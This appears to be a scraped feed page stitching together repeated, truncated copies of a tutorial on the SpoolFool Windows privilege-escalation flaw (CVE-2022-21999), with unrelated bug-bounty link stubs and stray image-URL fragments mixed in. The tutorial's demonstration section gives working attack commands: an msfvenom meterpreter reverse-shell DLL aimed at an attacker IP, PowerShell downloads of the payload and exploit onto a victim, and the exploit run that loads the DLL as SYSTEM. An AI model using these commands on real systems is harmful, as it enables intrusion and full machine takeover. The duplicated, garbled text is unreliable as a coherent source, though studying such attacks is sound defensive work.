Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles|Raj Chandel's Blog
Windows Privilege Escalation: SpoolFool
Windows Privilege Escalation: SpoolFoolIntroduction<o:pOliver Lyak posted a writeup about a Windows Privilege Escalation vulnerability that persisted in Windows systems even after patching of previous vulnerabilities in Print Spooler CVE-2020-1048 and CVE-2020-1337. Oliver was assigned CVE-2022-21999 for this vulnerability and commonly named it as “SpoolFool.” In this article, we will discuss the technical details associated with the same and demonstrate two methods through which an attacker can leverage and gain escalated privileges as NT AUTHORITY\SYSTEM.<o:p
Related advisories: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21999<o:p
Related CVEs: CVE-2022-21999, CVE-2020-1030, CVE-2020-1337, CVE-2020-1048<o:p Summary of the Vulnerability<o:pThe vulnerability allows an unprivileged user to create arbitrary and writeable directories by configuring SpoolDirectory attribute on a printer. Since an unprivileged user is allowed to add remote printers, an attacker can create a remote printer and grant EVERYONE right to manage this printer. This would return a handle with PRINTER_ACCESS_ADMINISTER right which can be further used to perform task such as DLL injection.<o:p Print Spooler Basics<o:pPrint spooler is the primary printing process interface. It is a built in EXE file which is loaded at system startup itself. The workflow of a printing process is as follows:<o:p https://blogger.googleusercontent.com/img/a/AVvXsEgzRjHIgyikNwAhv9i5Atndlje5cJxTUg6X4QsfFbB7kWT7EnPL129UqZNmeE9bdjGni9LKNkeJ5jgF4fErgPcpncHU654ttNxANwXkYGaR8hIBqr-ELnWE2LM3c6ZtNXAO1IVsD8-p31_lHaQw2AS41eEPDBU5H1RUPkoVBGe9XlsRbcEzSLOE1DLCyg=s16000 Application: The print application creates a print job by calling Graphics Device Interface (GDI).<o:p GDI: GDI includes both user-mode and kernel-mode components for graphics support.<o:p winspool.drvis the interface that talks to spooler. It provides the RPC stubs required to accessing the server.<o:p spoolsv.exeis the spooler's API server. This module implements message routing to print provider with the help of router (spoolss.dll)<o:p spoolss.dlldetermines which print provider to call, based on a printer name and passes function call to the correct provider.<o:p Spool Directory<o:pWhen a user prints a document, a print job is spooled to a predefined location referred to as the spool directory. The default location is C:\Windows\System32\spool\PRINTERS. This directory is by default writeable by everyone as everyone uses printer (FILE_ADD_FILE permission. Read more here), and the Spool Directory is configurable on each printer.<o:p
<o:p Workflow of the CVE 2020-1030<o:pI would highly recommend reading up Victor Mata’s post here before trying to demonstrate the vulnerability yourself. But for people who don’t like to get into too much of technicality, here is a summary of how the vulnerability shall be exploited.<o:p
· By default, users can add printers without administrator authentication needed.<o:p
· Calling AddPrinter returns a printer handle(I recommend reading what handles are if you have less idea of development) with the PRINTER_ALL_ACCESS right. This grants printing rights to standard and administrative print operations. <o:p https://blogger.googleusercontent.com/img/a/AVvXsEipsvNes1iInJTnQmIPewRtQsg6Pl4NoiYmq1_fk8i8NoaG702Z7dPhV1g4WqSCL4SDqUvmNE0XtO5wk17IymRj-KFfVamGcYSe1PzoUvkIC_ihzV8uCKWsQdNGvl85OO4_vRUvMbgNLl2nK_GGo63MK3rdG5peu6zmfhLUx7-b-CwsM4llak7MMnV2AA=s16000 · However, the caller of the AddPrinter function must have SERVER_ACCESS_ADMINISTERright to the server on which the printer is to be created.<o:p
· An unprivileged user will [...]
Windows Privilege Escalation: SpoolFool
Windows Privilege Escalation: SpoolFoolIntroduction<o:pOliver Lyak posted a writeup about a Windows Privilege Escalation vulnerability that persisted in Windows systems even after patching of previous vulnerabilities in Print Spooler CVE-2020-1048 and CVE-2020-1337. Oliver was assigned CVE-2022-21999 for this vulnerability and commonly named it as “SpoolFool.” In this article, we will discuss the technical details associated with the same and demonstrate two methods through which an attacker can leverage and gain escalated privileges as NT AUTHORITY\SYSTEM.<o:p
Related advisories: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21999<o:p
Related CVEs: CVE-2022-21999, CVE-2020-1030, CVE-2020-1337, CVE-2020-1048<o:p Summary of the Vulnerability<o:pThe vulnerability allows an unprivileged user to create arbitrary and writeable directories by configuring SpoolDirectory attribute on a printer. Since an unprivileged user is allowed to add remote printers, an attacker can create a remote printer and grant EVERYONE right to manage this printer. This would return a handle with PRINTER_ACCESS_ADMINISTER right which can be further used to perform task such as DLL injection.<o:p Print Spooler Basics<o:pPrint spooler is the primary printing process interface. It is a built in EXE file which is loaded at system startup itself. The workflow of a printing process is as follows:<o:p https://blogger.googleusercontent.com/img/a/AVvXsEgzRjHIgyikNwAhv9i5Atndlje5cJxTUg6X4QsfFbB7kWT7EnPL129UqZNmeE9bdjGni9LKNkeJ5jgF4fErgPcpncHU654ttNxANwXkYGaR8hIBqr-ELnWE2LM3c6ZtNXAO1IVsD8-p31_lHaQw2AS41eEPDBU5H1RUPkoVBGe9XlsRbcEzSLOE1DLCyg=s16000 Application: The print application creates a print job by calling Graphics Device Interface (GDI).<o:p GDI: GDI includes both user-mode and kernel-mode components for graphics support.<o:p winspool.drvis the interface that talks to spooler. It provides the RPC stubs required to accessing the server.<o:p spoolsv.exeis the spooler's API server. This module implements message routing to print provider with the help of router (spoolss.dll)<o:p spoolss.dlldetermines which print provider to call, based on a printer name and passes function call to the correct provider.<o:p Spool Directory<o:pWhen a user prints a document, a print job is spooled to a predefined location referred to as the spool directory. The default location is C:\Windows\System32\spool\PRINTERS. This directory is by default writeable by everyone as everyone uses printer (FILE_ADD_FILE permission. Read more here), and the Spool Directory is configurable on each printer.<o:p
<o:p Workflow of the CVE 2020-1030<o:pI would highly recommend reading up Victor Mata’s post here before trying to demonstrate the vulnerability yourself. But for people who don’t like to get into too much of technicality, here is a summary of how the vulnerability shall be exploited.<o:p
· By default, users can add printers without administrator authentication needed.<o:p
· Calling AddPrinter returns a printer handle(I recommend reading what handles are if you have less idea of development) with the PRINTER_ALL_ACCESS right. This grants printing rights to standard and administrative print operations. <o:p https://blogger.googleusercontent.com/img/a/AVvXsEipsvNes1iInJTnQmIPewRtQsg6Pl4NoiYmq1_fk8i8NoaG702Z7dPhV1g4WqSCL4SDqUvmNE0XtO5wk17IymRj-KFfVamGcYSe1PzoUvkIC_ihzV8uCKWsQdNGvl85OO4_vRUvMbgNLl2nK_GGo63MK3rdG5peu6zmfhLUx7-b-CwsM4llak7MMnV2AA=s16000 · However, the caller of the AddPrinter function must have SERVER_ACCESS_ADMINISTERright to the server on which the printer is to be created.<o:p
· An unprivileged user will [...]
Hacked Dutch Government Website. All I got was this l̶o̶u̶s̶y̶ cool T-Shirt.
https://medium.com/@chander.romesh/hacked-dutch-government-website-all-i-got-was-this-l%CC%B6o%CC%B6u%CC%B6s%CC%B6y%CC%B6-cool-t-shirt-4fd62ed3e734?source=rss------bug_bounty-5
https://medium.com/@chander.romesh/hacked-dutch-government-website-all-i-got-was-this-l%CC%B6o%CC%B6u%CC%B6s%CC%B6y%CC%B6-cool-t-shirt-4fd62ed3e734?source=rss------bug_bounty-5
They are right. Persistence is the key !Continue reading on Medium » (https://medium.com/@chander.romesh/hacked-dutch-government-website-all-i-got-was-this-l%CC%B6o%CC%B6u%CC%B6s%CC%B6y%CC%B6-cool-t-shirt-4fd62ed3e734?source=rss------bug_bounty-5)
Bug Report; Bypassing Weekly Limits In Basic (Free) LinkedIn Account
https://ashok314.medium.com/bug-report-bypassing-weekly-limits-in-basic-free-linkedin-account-f5265ac0418a?source=rss------bug_bounty-5
https://ashok314.medium.com/bug-report-bypassing-weekly-limits-in-basic-free-linkedin-account-f5265ac0418a?source=rss------bug_bounty-5
Publishing my first Security Vulnerability report for LinkedIn.Below is the report that I have submitted to LinkedIn Information Security…Continue reading on Medium » (https://ashok314.medium.com/bug-report-bypassing-weekly-limits-in-basic-free-linkedin-account-f5265ac0418a?source=rss------bug_bounty-5)
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles
Windows Privilege Escalation: SpoolFool
IntroductionOliver Lyak posted a write-up about a Windows Privilege Escalation vulnerability that persisted in Windows systems even after patching of previous vulnerabilities in Print Spooler CVE-2020-1048 and CVE-2020-1337. Oliver was assigned CVE-2022-21999 for this vulnerability and commonly named it “SpoolFool.” In this article, we will discuss the technical details associated with the same and demonstrate two methods through which an attacker can leverage and gain escalated privileges as NT AUTHORITY\SYSTEM.
Related advisories: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21999
Related CVEs: CVE-2022-21999, CVE-2020-1030, CVE-2020-1337, CVE-2020-1048 Summary of the VulnerabilityThe vulnerability allows an unprivileged user to create arbitrary and writeable directories by configuring the SpoolDirectory attribute on a printer. Since an unprivileged user is allowed to add remote printers, an attacker can create a remote printer and grant EVERYONE the right to manage this printer. This would return a handle with PRINTER_ACCESS_ADMINISTER right which can be further used to perform tasks such as DLL injection. Print Spooler BasicsPrint spooler is the primary printing process interface. It is a built-in EXE file that is loaded at system startup itself. The workflow of a printing process is as follows:
https://blogger.googleusercontent.com/img/a/AVvXsEgzRjHIgyikNwAhv9i5Atndlje5cJxTUg6X4QsfFbB7kWT7EnPL129UqZNmeE9bdjGni9LKNkeJ5jgF4fErgPcpncHU654ttNxANwXkYGaR8hIBqr-ELnWE2LM3c6ZtNXAO1IVsD8-p31_lHaQw2AS41eEPDBU5H1RUPkoVBGe9XlsRbcEzSLOE1DLCyg=s16000
Application: The print application creates a print job by calling Graphics Device Interface (GDI).
GDI: GDI includes both user-mode and kernel-mode components for graphics support.
winspool.drv is the interface that talks to the spooler. It provides the RPC stubs required to access the server.
spoolsv.exe is the spooler’s API server. This module implements message routing to print provider with the help of router (spoolss.dll)
spoolss.dll determines which print provider to call, based on a printer name and passes function call to the correct provider. Spool DirectoryWhen a user prints a document, a print job is spooled to a predefined location referred to as the spool directory. The default location is C:\Windows\System32\spool\PRINTERS. This directory is by default writeable by everyone as everyone uses the printer (FILE_ADD_FILE permission. Read more here), and the Spool Directory is configurable on each printer.
Workflow of the CVE 2020-1030
I would highly recommend reading Victor Mata’s post here before trying to demonstrate the vulnerability yourself. But for people who don’t like to get into too much technicality, here is a summary of how the vulnerability shall be exploited.
* By default, users can add printers without administrator authentication needed.
* Calling AddPrinter returns a printer handle (I recommend reading what handles are if you have less idea of development) with the PRINTER_ALL_ACCESS right. This grants printing rights to standard and administrative print operations.
https://blogger.googleusercontent.com/img/a/AVvXsEipsvNes1iInJTnQmIPewRtQsg6Pl4NoiYmq1_fk8i8NoaG702Z7dPhV1g4WqSCL4SDqUvmNE0XtO5wk17IymRj-KFfVamGcYSe1PzoUvkIC_ihzV8uCKWsQdNGvl85OO4_vRUvMbgNLl2nK_GGo63MK3rdG5peu6zmfhLUx7-b-CwsM4llak7MMnV2AA=s16000
* However, the caller of the AddPrinter function must have SERVER_ACCESS_ADMINISTER right to the server on which the printer is to be created.
* An unprivileged user will not have these rights and hence, can’t add a new printer with PRINTER_ALL_ACCESS right.
* However, the “INTERACTIVE” group has the manage server permissions enabled which correspond to
https://blogger.googleusercontent.com/img/a/AVvXsEjNCSl-n_[...]
Windows Privilege Escalation: SpoolFool
IntroductionOliver Lyak posted a write-up about a Windows Privilege Escalation vulnerability that persisted in Windows systems even after patching of previous vulnerabilities in Print Spooler CVE-2020-1048 and CVE-2020-1337. Oliver was assigned CVE-2022-21999 for this vulnerability and commonly named it “SpoolFool.” In this article, we will discuss the technical details associated with the same and demonstrate two methods through which an attacker can leverage and gain escalated privileges as NT AUTHORITY\SYSTEM.
Related advisories: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21999
Related CVEs: CVE-2022-21999, CVE-2020-1030, CVE-2020-1337, CVE-2020-1048 Summary of the VulnerabilityThe vulnerability allows an unprivileged user to create arbitrary and writeable directories by configuring the SpoolDirectory attribute on a printer. Since an unprivileged user is allowed to add remote printers, an attacker can create a remote printer and grant EVERYONE the right to manage this printer. This would return a handle with PRINTER_ACCESS_ADMINISTER right which can be further used to perform tasks such as DLL injection. Print Spooler BasicsPrint spooler is the primary printing process interface. It is a built-in EXE file that is loaded at system startup itself. The workflow of a printing process is as follows:
https://blogger.googleusercontent.com/img/a/AVvXsEgzRjHIgyikNwAhv9i5Atndlje5cJxTUg6X4QsfFbB7kWT7EnPL129UqZNmeE9bdjGni9LKNkeJ5jgF4fErgPcpncHU654ttNxANwXkYGaR8hIBqr-ELnWE2LM3c6ZtNXAO1IVsD8-p31_lHaQw2AS41eEPDBU5H1RUPkoVBGe9XlsRbcEzSLOE1DLCyg=s16000
Application: The print application creates a print job by calling Graphics Device Interface (GDI).
GDI: GDI includes both user-mode and kernel-mode components for graphics support.
winspool.drv is the interface that talks to the spooler. It provides the RPC stubs required to access the server.
spoolsv.exe is the spooler’s API server. This module implements message routing to print provider with the help of router (spoolss.dll)
spoolss.dll determines which print provider to call, based on a printer name and passes function call to the correct provider. Spool DirectoryWhen a user prints a document, a print job is spooled to a predefined location referred to as the spool directory. The default location is C:\Windows\System32\spool\PRINTERS. This directory is by default writeable by everyone as everyone uses the printer (FILE_ADD_FILE permission. Read more here), and the Spool Directory is configurable on each printer.
Workflow of the CVE 2020-1030
I would highly recommend reading Victor Mata’s post here before trying to demonstrate the vulnerability yourself. But for people who don’t like to get into too much technicality, here is a summary of how the vulnerability shall be exploited.
* By default, users can add printers without administrator authentication needed.
* Calling AddPrinter returns a printer handle (I recommend reading what handles are if you have less idea of development) with the PRINTER_ALL_ACCESS right. This grants printing rights to standard and administrative print operations.
https://blogger.googleusercontent.com/img/a/AVvXsEipsvNes1iInJTnQmIPewRtQsg6Pl4NoiYmq1_fk8i8NoaG702Z7dPhV1g4WqSCL4SDqUvmNE0XtO5wk17IymRj-KFfVamGcYSe1PzoUvkIC_ihzV8uCKWsQdNGvl85OO4_vRUvMbgNLl2nK_GGo63MK3rdG5peu6zmfhLUx7-b-CwsM4llak7MMnV2AA=s16000
* However, the caller of the AddPrinter function must have SERVER_ACCESS_ADMINISTER right to the server on which the printer is to be created.
* An unprivileged user will not have these rights and hence, can’t add a new printer with PRINTER_ALL_ACCESS right.
* However, the “INTERACTIVE” group has the manage server permissions enabled which correspond to
https://blogger.googleusercontent.com/img/a/AVvXsEjNCSl-n_[...]
Hacking Articles Tips Tricks Videos Tutorials
Hacking Articles Windows Privilege Escalation: SpoolFool IntroductionOliver Lyak posted a write-up about a Windows Privilege Escalation vulnerability that persisted in Windows systems even after patching of previous vulnerabilities in Print Spooler CVE-2020…
Ezy-4PpHM_J-PbTTa3ufPHLAyiViUhzW_TKnolUbaxfGv1cxgG1fPoACkYy1VHK4R-9ipE2_M4qK2gY4m_pVHdRvL-PkrjEoAC77sTocqBHPA256akst8eoGr-xDvQvcQpHSKLSnMK8b1o_iQKzJydN0k_JVZ4Ej61zDHWcy7v3_e2pG4Aew=s16000
* Thus, members in the interactive group can add a printer with SERVER_ACCESS_ADMINISTER
* INTERACTIVE GROUP: SID S-1-5-4 NT Authority\Interactive is a system group that gets automatically added when a user logs on to the system locally or via RDP. Removing this group would mean restricting logging access in older systems, however, in newer Windows, it gets re-added on restart. In short, it symbolizes an actual physical user that is interacting with the machine. This group is absent on Active Directory systems as permissions are only managed by DC in such environments.
* Therefore, the attack was not found to be working with service accounts (like IIS or MSSQL$)
* If the user who runs the exploit is a member of INTERACTIVE, then AddPrinter now will return a handle with PRINTER_ALL_ACCESS We will use this handle’s permission to modify the spool directory. In C#, SetPrinterDataEx function can modify spool directory. Here, we are creating a directory C:\Windows\System32\spool\drivers\x64\4
To create this spool, we have the necessary rights PRINTER_ALL_ACCESS (returned to the handle hPrinter)
https://blogger.googleusercontent.com/img/a/AVvXsEiPYSMrIHzpupvTZgUJqbb_TwgOLUSdoGozIwWgbaJiZz-YVvS-SvWzdwcMGyHuVA8A4zb_R6SQteF-CYExoMJXsamkbgFFBQ_CafyKeIoO_Ol84aZJRD9HAhpksP_wFv0MnaJ1ALgfNuuXd4o3H7srKAeVpxFTdsStTvwg6Q7UtXk9_WeMZPLPg6lphg=s16000
As you can see the intended directory in the pszData variable doesn’t exist already.
https://blogger.googleusercontent.com/img/a/AVvXsEg4U1ar501WL-g2lcEDv0lpKyoFDvhgmIealdkwFt_9BycQ2PCkNL2UsPkfqdtlKdilE55UIyMwXJm5Egf_AqAAqnj24sfErE_iH_1OGe7aHoChE4FlBBI7WGGockRJX3h8-jeXNOXnBK0fSaiGwzHI2YZRTQ29YD7SlbSUMDO2tMnJoi5mZlbeIHmbKQ=s16000
* Re-initialize the print spooler service by calling AppVTerminator.dll
* Spool Directory C:\Windows\System32\spool\drivers\x64 created with write permissions to EVERYONE.
* A malicious DLL is created and loaded in that directory. It gets validated and CopyFiles\\ will trigger that DLL and load it into the printer process (spoolsv.exe)
https://blogger.googleusercontent.com/img/a/AVvXsEiJv3jyQuITxv1sAULxrhXkPiPhoDhMkTcKK8c0m9wFYhGU904wtLn8dcl28yZpLidwQG-19Q0hNoYylIPb9W2ah7HjdkCPOvnZ85owcmufJBW3v8j29PFKjUoptjeN4aMavP0w_-djfw-B49lBJ-qTnUWMszAiXV6196D69Z6m9Sjdj1ds0LbiPtBdog=s16000 Diagramatic Workflow of CVE 2020-1030It could be understood in simpler terms like this:
https://blogger.googleusercontent.com/img/a/AVvXsEjq9LpYFT2U6NAKfqKdaJNHTRyRvSuZHXRE3wN2W6nNQsMkubzYvJJBtPIfDnhltWODy0m0Ul2ALeYxM01ogu6ChDFvp9EcXNbWG0zYntduEOuoDZE7Z7BpghDto6mUXXmuwPXnfGWIEktkY8I8ufEG-_JX8bRs3tlttw2YtzTgi4lsTzfgjNV58ecnxg=s16000 Incoming CVE 2022-21999After the issue was patched by Microsoft, Oliver Lyak in his post here mentions Microsoft’s patches and how he circumvented them. Thus, he proposed the following two enhancements for this vulnerability patch and was assigned CVE 2022-21999:
1. He states that a user not in the INTERACTIVE group can still add a remote printer and gain PRINTER_ACCESS_ADMINISTER rights.
“If a user adds a remote printer, the printer will inherit the security properties of the shared printer from the printer server. As such, if the remote printer server allows EVERYONE to manage the printer, then it’s possible to obtain a handle to the printer with the PRINTER_ACCESS_ADMINISTER access right, and SetPrinterDataEx would update the local registry as usual”
1. Microsoft added directory creation/access validation on the user level to restrict the creation of spool directories. So, in his exploit, he used reparse Basically, the following things happen:
* We create a temporary directory (C:\TEMP\xyzxyzxyz) and set it as SpoolDirectory
* The validation set by Microsoft gets passed and SpoolDirectory is set to this temporary directo[...]
* Thus, members in the interactive group can add a printer with SERVER_ACCESS_ADMINISTER
* INTERACTIVE GROUP: SID S-1-5-4 NT Authority\Interactive is a system group that gets automatically added when a user logs on to the system locally or via RDP. Removing this group would mean restricting logging access in older systems, however, in newer Windows, it gets re-added on restart. In short, it symbolizes an actual physical user that is interacting with the machine. This group is absent on Active Directory systems as permissions are only managed by DC in such environments.
* Therefore, the attack was not found to be working with service accounts (like IIS or MSSQL$)
* If the user who runs the exploit is a member of INTERACTIVE, then AddPrinter now will return a handle with PRINTER_ALL_ACCESS We will use this handle’s permission to modify the spool directory. In C#, SetPrinterDataEx function can modify spool directory. Here, we are creating a directory C:\Windows\System32\spool\drivers\x64\4
To create this spool, we have the necessary rights PRINTER_ALL_ACCESS (returned to the handle hPrinter)
https://blogger.googleusercontent.com/img/a/AVvXsEiPYSMrIHzpupvTZgUJqbb_TwgOLUSdoGozIwWgbaJiZz-YVvS-SvWzdwcMGyHuVA8A4zb_R6SQteF-CYExoMJXsamkbgFFBQ_CafyKeIoO_Ol84aZJRD9HAhpksP_wFv0MnaJ1ALgfNuuXd4o3H7srKAeVpxFTdsStTvwg6Q7UtXk9_WeMZPLPg6lphg=s16000
As you can see the intended directory in the pszData variable doesn’t exist already.
https://blogger.googleusercontent.com/img/a/AVvXsEg4U1ar501WL-g2lcEDv0lpKyoFDvhgmIealdkwFt_9BycQ2PCkNL2UsPkfqdtlKdilE55UIyMwXJm5Egf_AqAAqnj24sfErE_iH_1OGe7aHoChE4FlBBI7WGGockRJX3h8-jeXNOXnBK0fSaiGwzHI2YZRTQ29YD7SlbSUMDO2tMnJoi5mZlbeIHmbKQ=s16000
* Re-initialize the print spooler service by calling AppVTerminator.dll
* Spool Directory C:\Windows\System32\spool\drivers\x64 created with write permissions to EVERYONE.
* A malicious DLL is created and loaded in that directory. It gets validated and CopyFiles\\ will trigger that DLL and load it into the printer process (spoolsv.exe)
https://blogger.googleusercontent.com/img/a/AVvXsEiJv3jyQuITxv1sAULxrhXkPiPhoDhMkTcKK8c0m9wFYhGU904wtLn8dcl28yZpLidwQG-19Q0hNoYylIPb9W2ah7HjdkCPOvnZ85owcmufJBW3v8j29PFKjUoptjeN4aMavP0w_-djfw-B49lBJ-qTnUWMszAiXV6196D69Z6m9Sjdj1ds0LbiPtBdog=s16000 Diagramatic Workflow of CVE 2020-1030It could be understood in simpler terms like this:
https://blogger.googleusercontent.com/img/a/AVvXsEjq9LpYFT2U6NAKfqKdaJNHTRyRvSuZHXRE3wN2W6nNQsMkubzYvJJBtPIfDnhltWODy0m0Ul2ALeYxM01ogu6ChDFvp9EcXNbWG0zYntduEOuoDZE7Z7BpghDto6mUXXmuwPXnfGWIEktkY8I8ufEG-_JX8bRs3tlttw2YtzTgi4lsTzfgjNV58ecnxg=s16000 Incoming CVE 2022-21999After the issue was patched by Microsoft, Oliver Lyak in his post here mentions Microsoft’s patches and how he circumvented them. Thus, he proposed the following two enhancements for this vulnerability patch and was assigned CVE 2022-21999:
1. He states that a user not in the INTERACTIVE group can still add a remote printer and gain PRINTER_ACCESS_ADMINISTER rights.
“If a user adds a remote printer, the printer will inherit the security properties of the shared printer from the printer server. As such, if the remote printer server allows EVERYONE to manage the printer, then it’s possible to obtain a handle to the printer with the PRINTER_ACCESS_ADMINISTER access right, and SetPrinterDataEx would update the local registry as usual”
1. Microsoft added directory creation/access validation on the user level to restrict the creation of spool directories. So, in his exploit, he used reparse Basically, the following things happen:
* We create a temporary directory (C:\TEMP\xyzxyzxyz) and set it as SpoolDirectory
* The validation set by Microsoft gets passed and SpoolDirectory is set to this temporary directo[...]
Hacking Articles Tips Tricks Videos Tutorials
Ezy-4PpHM_J-PbTTa3ufPHLAyiViUhzW_TKnolUbaxfGv1cxgG1fPoACkYy1VHK4R-9ipE2_M4qK2gY4m_pVHdRvL-PkrjEoAC77sTocqBHPA256akst8eoGr-xDvQvcQpHSKLSnMK8b1o_iQKzJydN0k_JVZ4Ej61zDHWcy7v3_e2pG4Aew=s16000 * Thus, members in the interactive group can add a printer with S…
ry.
* Configure this temporary directory as a reparse point which points to C: \Windows\System32\spool\drivers\x64\
* SetPrinterDataEx is called with CopyFiles and DLL in this directory gets automatically loaded into the process spoolsv.exe
Why only C:\Windows\System32\spool\drivers\x64 ? => This is the printer driver directory. Point and Print is a printer sharing technology designed for driver distribution. In Point and Print, installation is extendable with a custom Point and Print DLL.
When CopyFiles\\ is used with SetPrinterDataEx, it initiates a sequence of Point and Print. If the directory specified is a Printer Driver Directory, Point and Print is triggered and the DLL placed in this is loaded to the existing process spoolsv.exe
https://blogger.googleusercontent.com/img/a/AVvXsEg4a4U-KVOKnnzutQ3nDUGgdyK8zK3gXKZ6HKYvcU2DwB4i9mGBPt13FW4aSGX30cba64vUdorqDGtDTYupFCgYsDh6AHp-8PEJjA7P3uJLoZVIlL70eXlNIBuK9XIJEmmOW7z2CAIueSNodziBLFrCypDYaxIFZtO8LZj-A60bZp9q_8Emz4igh4tk9Q=s16000 Demonstration – Method 1For the demonstration, we will use the original PoC created by Oliver Lyak which could be downloaded from here.
git clone https://github.com/ly4k/SpoolFool
cd SpoolFool
ls
As you may observe, the PoC comes with an EXE file and a pre-made DLL payload.
https://blogger.googleusercontent.com/img/a/AVvXsEisBtWQJfgoiCqudMXU3cuc9whB-Brx_z6W_lKrIUA4DwQkDSy5BCuLPvp12jITYD0q5g_Bwf0Dk5gs74h_NVcJbkJX3SCDrtNDDw9BEW0uu3rORdO9uFpEob7COsnEXLV4Y737qC3Ota4KbWrUSVTQTnshfAa9rXDHkHnIp6Fej87ckTVMtH-nDYvVPQ=s16000
First, we compromise the system and gain a reverse shell. As you can see, a user hex has been compromised and NT AUTHORITY\INTERACTIVE exists on the system. If hex has a local account (not applicable on domain accounts), he is by default a member of this group.
whoami /user /groups
https://blogger.googleusercontent.com/img/a/AVvXsEjBVG72f-J7x-gL54_vT39sLS7ubX7TiuS2KgD6XvBuEmcN3hBBLXShF8B2s971K7_B5A6KaYOz2psVWeaOQzWW03p_aCdV4uQ4f6cKVhAcwBWg-B8-hunj0kfgSauVcO7UTwrd05Imknb0MDRmtnTsBxVw2id0zb9HO5Cj4puZqbDRqDz2fsWg0IelRQ=s16000
Now, we shall create our own custom DLL first using msfvenom. I’m using a meterpreter injection as payload but the choices are numerous.
msfvenom -p windows/x64/meterpreter/reverse_tcp -ax64 -f dll LHOST=192.168.0.20 LPORT=9501 > reverse_64bit.dll
https://blogger.googleusercontent.com/img/a/AVvXsEg0xTpxvj14x3iaetMQCF-uGFZvb0sxen_T-xBYPr1y-VhESMNyvWvLJfiXu-sufy-9E_v_D8Tmtc2bgP2KYB-uFxzAXuUHNtpTp-L36y348jPXJKD0ExruUHMIWJbl2KR0NJLeNwZDvFNwsRbql09whP7vFlKVXlNh38ByXLW5C4bgyfvrfX2xdda1QQ=s16000
We just need to upload this on our victim machine. I recommend C:\Users\Public. You can start a python server and host SpoolFool.exe and reverse_64bit.dll files in the same location. This can be done using powershell module IWR
powershell -c iwr http://192.168.0.20/reverse_64bit.dll -outf \Users\Public\reverse.dll
powershell -c iwr http://192.168.0.20/SpoolFool.exe -outf \Users\Public\SpoolFool.exe
https://blogger.googleusercontent.com/img/a/AVvXsEjql1IOIhTAQpo_GfJCIzMe-VFAG1RHZh3qawjUdi-1Ztt5flA5XXPaTELuG7F711hV31obSl_ctdF5gWnBkHEpQBMMSPm7RqsU0ZQPBnC-79qpiEc7A8W5IS6m6bsPQCoXPAK83kwK5XerSMRgx1PR21vwNXHmAQTMhwk-8KYvjzHB_dp1nY7a7LGDtA=s16000
Now, we can run the exploit and load this DLL with the following command. Before running it, make sure to set up multi/handler in msfconsole.
SpoolFool.exe -dll reverse.dll
Observe here, how a directory has been made in %temp%\d5f5….{random name} and a reparse point has been created to write into our desired print driver directory C:\Windows\system32\spool\DRIVERS\x64\4
https://blogger.googleusercontent.com/img/a/AVvXsEhd848JjHwdUzQ3vNtT8urPmPShKFd0hWmz7lsTj3oRACF79FxTaPlacJ7QXA39_vyzUMDqWapz1KK1rPiSLUpxw79MInJqNl5e9U-mzOwJni_1pHrbIPL_YdShK6BaTk4Z5IAzHcHnObpDqGK4J61JansGp-52-epyW77plsqPtM8Vc2r4i1QrY46d1Q=s16000
The directory didn’t exist before, but now you can see, it exists and the DLL has been saved in here. Which means success! T[...]
* Configure this temporary directory as a reparse point which points to C: \Windows\System32\spool\drivers\x64\
* SetPrinterDataEx is called with CopyFiles and DLL in this directory gets automatically loaded into the process spoolsv.exe
Why only C:\Windows\System32\spool\drivers\x64 ? => This is the printer driver directory. Point and Print is a printer sharing technology designed for driver distribution. In Point and Print, installation is extendable with a custom Point and Print DLL.
When CopyFiles\\ is used with SetPrinterDataEx, it initiates a sequence of Point and Print. If the directory specified is a Printer Driver Directory, Point and Print is triggered and the DLL placed in this is loaded to the existing process spoolsv.exe
https://blogger.googleusercontent.com/img/a/AVvXsEg4a4U-KVOKnnzutQ3nDUGgdyK8zK3gXKZ6HKYvcU2DwB4i9mGBPt13FW4aSGX30cba64vUdorqDGtDTYupFCgYsDh6AHp-8PEJjA7P3uJLoZVIlL70eXlNIBuK9XIJEmmOW7z2CAIueSNodziBLFrCypDYaxIFZtO8LZj-A60bZp9q_8Emz4igh4tk9Q=s16000 Demonstration – Method 1For the demonstration, we will use the original PoC created by Oliver Lyak which could be downloaded from here.
git clone https://github.com/ly4k/SpoolFool
cd SpoolFool
ls
As you may observe, the PoC comes with an EXE file and a pre-made DLL payload.
https://blogger.googleusercontent.com/img/a/AVvXsEisBtWQJfgoiCqudMXU3cuc9whB-Brx_z6W_lKrIUA4DwQkDSy5BCuLPvp12jITYD0q5g_Bwf0Dk5gs74h_NVcJbkJX3SCDrtNDDw9BEW0uu3rORdO9uFpEob7COsnEXLV4Y737qC3Ota4KbWrUSVTQTnshfAa9rXDHkHnIp6Fej87ckTVMtH-nDYvVPQ=s16000
First, we compromise the system and gain a reverse shell. As you can see, a user hex has been compromised and NT AUTHORITY\INTERACTIVE exists on the system. If hex has a local account (not applicable on domain accounts), he is by default a member of this group.
whoami /user /groups
https://blogger.googleusercontent.com/img/a/AVvXsEjBVG72f-J7x-gL54_vT39sLS7ubX7TiuS2KgD6XvBuEmcN3hBBLXShF8B2s971K7_B5A6KaYOz2psVWeaOQzWW03p_aCdV4uQ4f6cKVhAcwBWg-B8-hunj0kfgSauVcO7UTwrd05Imknb0MDRmtnTsBxVw2id0zb9HO5Cj4puZqbDRqDz2fsWg0IelRQ=s16000
Now, we shall create our own custom DLL first using msfvenom. I’m using a meterpreter injection as payload but the choices are numerous.
msfvenom -p windows/x64/meterpreter/reverse_tcp -ax64 -f dll LHOST=192.168.0.20 LPORT=9501 > reverse_64bit.dll
https://blogger.googleusercontent.com/img/a/AVvXsEg0xTpxvj14x3iaetMQCF-uGFZvb0sxen_T-xBYPr1y-VhESMNyvWvLJfiXu-sufy-9E_v_D8Tmtc2bgP2KYB-uFxzAXuUHNtpTp-L36y348jPXJKD0ExruUHMIWJbl2KR0NJLeNwZDvFNwsRbql09whP7vFlKVXlNh38ByXLW5C4bgyfvrfX2xdda1QQ=s16000
We just need to upload this on our victim machine. I recommend C:\Users\Public. You can start a python server and host SpoolFool.exe and reverse_64bit.dll files in the same location. This can be done using powershell module IWR
powershell -c iwr http://192.168.0.20/reverse_64bit.dll -outf \Users\Public\reverse.dll
powershell -c iwr http://192.168.0.20/SpoolFool.exe -outf \Users\Public\SpoolFool.exe
